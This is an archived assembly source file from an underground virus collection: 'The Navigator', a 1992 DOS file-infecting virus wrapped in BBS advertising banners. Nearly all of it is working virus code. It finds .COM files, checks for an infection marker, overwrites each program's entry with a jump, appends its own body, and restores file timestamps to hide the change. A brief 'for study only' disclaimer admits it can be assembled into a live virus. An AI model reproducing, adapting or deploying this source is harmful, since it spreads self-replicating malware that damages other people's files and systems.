home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / n / nav.asm next >
Encoding:
Assembly Source File  |  1998-01-14  |  7.7 KB  |  202 lines
  1. ;****************************************************************************;
  2.  
  3. ;                                                                            ;
  4.  
  5. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  6.  
  7. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  8.  
  9. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  10.  
  11. ;                     -=]                            [=-                     ;
  12.  
  13. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  14.  
  15. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  16.  
  17. ;                     -=]                            [=-                     ;
  18.  
  19. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  20.  
  21. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  22.  
  23. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  24.  
  25. ;                                                                            ;
  26.  
  27. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  28.  
  29. ;                                                                            ;
  30.  
  31. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  32.  
  33. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  34.  
  35. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  36.  
  37. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  38.  
  39. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  40.  
  41. ; Is. Keep This Code in Responsible Hands!                                   ;
  42.  
  43. ;                                                                            ;
  44.  
  45. ;****************************************************************************;
  46.  
  47. ;****************************************************************************
  48.  
  49. ;*   The Navigator                                *
  50.  
  51. ;*                                          *
  52.  
  53. ;*   Assembled with Tasm 2.5                            *
  54.  
  55. ;*                                            *
  56.  
  57. ;*   (c) 1992 Dark Helmet, The Netherlands                    *
  58.  
  59. ;*   The author takes no responsibilty for any damages caused by the virus  *
  60.  
  61. ;*                                        *
  62.  
  63. ;*   Special greetings to :                             *
  64.  
  65. ;*   Glenn Benton, XSTC for their nice source and viruses,             *
  66.  
  67. ;*   Peter Venkman for his BBS, Marcel and Ziggy for keeping me of the      *
  68.  
  69. ;*   work, Guns and Roses for their great music,                 *
  70.  
  71. ;*   and al the other viruswriters...                        *
  72.  
  73. ;*                                        *
  74.  
  75. ;*   " Trust me...I know what I'm doing"                    *
  76.  
  77. ;*                                        *
  78.  
  79. ;*--------------------------------------------------------------------------*
  80.  
  81. ;*                                        *
  82.  
  83. ;*   Coming soon : The Anti-DAF Virus                          *
  84.  
  85. ;*                 Civil War II                          *
  86.  
  87. ;*                                           *
  88.  
  89. ;*--------------------------------------------------------------------------*
  90.  
  91. ;*                                        *
  92.  
  93. ;*    Used Books : - MSDOS voor gevorderen (tweede editie)            *
  94.  
  95. ;*                 Ray Duncan, ISBN 90 201 2299 1 (660 blz.)              *
  96.  
  97. ;*                 - PC Handboek voor programmeurs                *
  98.  
  99. ;*                   Robert Jourdain, ISBN 90 6233 443 1 (542 blz.)        *
  100.  
  101. ;*           - Werken met Turbo Assembler                    *
  102.  
  103. ;*             Tom Swam, ISBN 90 6233 627 2 (903 blz.)              *
  104.  
  105. ;*                                        *
  106.  
  107. ;****************************************************************************
  108.  
  109.  
  110.  
  111.         .Radix 16
  112.  
  113.  
  114.  
  115. Navigator    Segment
  116.  
  117.         Assume cs:Navigator, ds:Navigator, 
  118.  
  119.         org 100h
  120.  
  121.  
  122.  
  123. len         equ offset last - begin
  124.  
  125.  
  126.  
  127. Dummy:          db 0e9h, 03h, 00h, 44h, 48h, 00h
  128.  
  129.  
  130.  
  131. Begin:          call virus
  132.  
  133.  
  134.  
  135. Virus:          pop bp
  136.  
  137.                 sub bp,109h
  138.  
  139.                 mov dx,0fe00h
  140.  
  141.                 mov ah,1ah
  142.  
  143.                 int 21h
  144.  
  145.         
  146.  
  147. Restore_begin:  mov di,0100h
  148.  
  149.         lea si,ds:[buffer+bp]
  150.  
  151.         mov cx,06h
  152.  
  153.         rep movsb
  154.  
  155.                 
  156.  
  157. First:        lea dx,[com_mask+bp]
  158.  
  159.         mov ah,04eh
  160.  
  161.         xor cx,cx
  162.  
  163.         int 21h
  164.  
  165.  
  166.  
  167. Open_file:    mov ax,03d02h
  168.  
  169.         mov dx,0fe1eh
  170.  
  171.         int 21h
  172.  
  173.         mov [handle+bp],ax
  174.  
  175.         xchg ax,bx
  176.  
  177.  
  178.  
  179. Read_date:    mov ax,05700h
  180.  
  181.         int 21h
  182.  
  183.         mov [date+bp],dx
  184.  
  185.         mov [time+bp],cx
  186.  
  187.  
  188.  
  189. Check_infect:    mov bx,[handle+bp]
  190.  
  191.         mov ah,03fh
  192.  
  193.         mov cx,06h
  194.  
  195.         lea dx,[buffer+bp]
  196.  
  197.         int 21h
  198.  
  199.                 mov al,byte ptr [buffer+bp]+3
  200.  
  201.         mov ah,byte ptr [buffer+bp]+4 
  202.  
  203.         cmp ax,[initials+bp]
  204.  
  205.         jne infect_file
  206.  
  207.  
  208.  
  209. Close_file:     mov bx,[handle+bp]
  210.  
  211.         mov ah,3eh
  212.  
  213.         int 21h
  214.  
  215.  
  216.  
  217. Next_file:      mov ah,4fh
  218.  
  219.         int 21h
  220.  
  221.         jnb open_file
  222.  
  223.         jmp exit
  224.  
  225.  
  226.  
  227. Infect_file:    mov ax,word ptr [cs:0fe1ah]
  228.  
  229.         sub ax,03h
  230.  
  231.         mov [lenght+bp],ax
  232.  
  233.         mov ax,04200h
  234.  
  235.         call move_pointer
  236.  
  237.         
  238.  
  239. Write_jump:     mov ah,40h
  240.  
  241.         mov cx,01h
  242.  
  243.         lea dx,[jump+bp]
  244.  
  245.         int 21h
  246.  
  247.         mov ah,40h
  248.  
  249.         mov cx,02h
  250.  
  251.         lea dx,[lenght+bp]
  252.  
  253.         int 21h
  254.  
  255.         mov ah,40
  256.  
  257.         mov cx,02h
  258.  
  259.         lea dx,[initials+bp]
  260.  
  261.         int 21h
  262.  
  263.  
  264.  
  265. Write_virus:    mov ax,4202h
  266.  
  267.         call move_pointer
  268.  
  269.         mov ah,40h
  270.  
  271.         mov cx,len
  272.  
  273.         lea dx,[begin+bp]
  274.  
  275.         int 21h
  276.  
  277.  
  278.  
  279. restore_date:   mov dx,[date+bp]
  280.  
  281.         mov cx,[time+bp]
  282.  
  283.         mov bx,[handle+bp]
  284.  
  285.         mov ax,05701h
  286.  
  287.         int 21h
  288.  
  289.  
  290.  
  291. exit:        mov bx,0100h
  292.  
  293.         jmp bx
  294.  
  295.  
  296.  
  297. ;----------------------------------------------------------------------------
  298.  
  299.  
  300.  
  301. move_pointer:   mov bx,[handle+bp]
  302.  
  303.         xor cx,cx
  304.  
  305.         xor dx,dx
  306.  
  307.         int 21h
  308.  
  309.         ret
  310.  
  311.         
  312.  
  313. ;----------------------------------------------------------------------------
  314.  
  315.  
  316.  
  317. com_mask    db "*.com",0
  318.  
  319. handle        dw ?
  320.  
  321. date        dw ?
  322.  
  323. time        dw ?
  324.  
  325. buffer          db 090h,0cdh,020h,044h,048h,00h
  326.  
  327. initials        dw 4844h         
  328.  
  329. lenght        dw ?
  330.  
  331. jump            db 0e9h,0
  332.  
  333. msg             db "The Navigator, (c) 1992 Dark Helmet",0
  334.  
  335.  
  336.  
  337. last        db 090h
  338.  
  339.  
  340.  
  341. Navigator    ends
  342.  
  343.         end  dummy
  344.  
  345. ;****************************************************************************;
  346.  
  347. ;                                                                            ;
  348.  
  349. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  350.  
  351. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  352.  
  353. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  354.  
  355. ;                     -=]                            [=-                     ;
  356.  
  357. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  358.  
  359. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  360.  
  361. ;                     -=]                            [=-                     ;
  362.  
  363. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  364.  
  365. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  366.  
  367. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  368.  
  369. ;                                                                            ;
  370.  
  371. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  372.  
  373. ;                                                                            ;
  374.  
  375. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  376.  
  377. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  378.  
  379. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  380.  
  381. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  382.  
  383. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  384.  
  385. ; Is. Keep This Code in Responsible Hands!                                   ;
  386.  
  387. ;                                                                            ;
  388.  
  389. ;****************************************************************************;
  390.  
  391.  
  392.  
  393. ;─────────────────────────────────────────────────────────────────────────;
  394.  
  395. ;──────────────────> and Remember Don't Forget to Call <──────────────────;
  396.  
  397. ;────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────;
  398.  
  399. ;─────────────────────────────────────────────────────────────────────────;
  400.  
  401.  
  402.  
  403.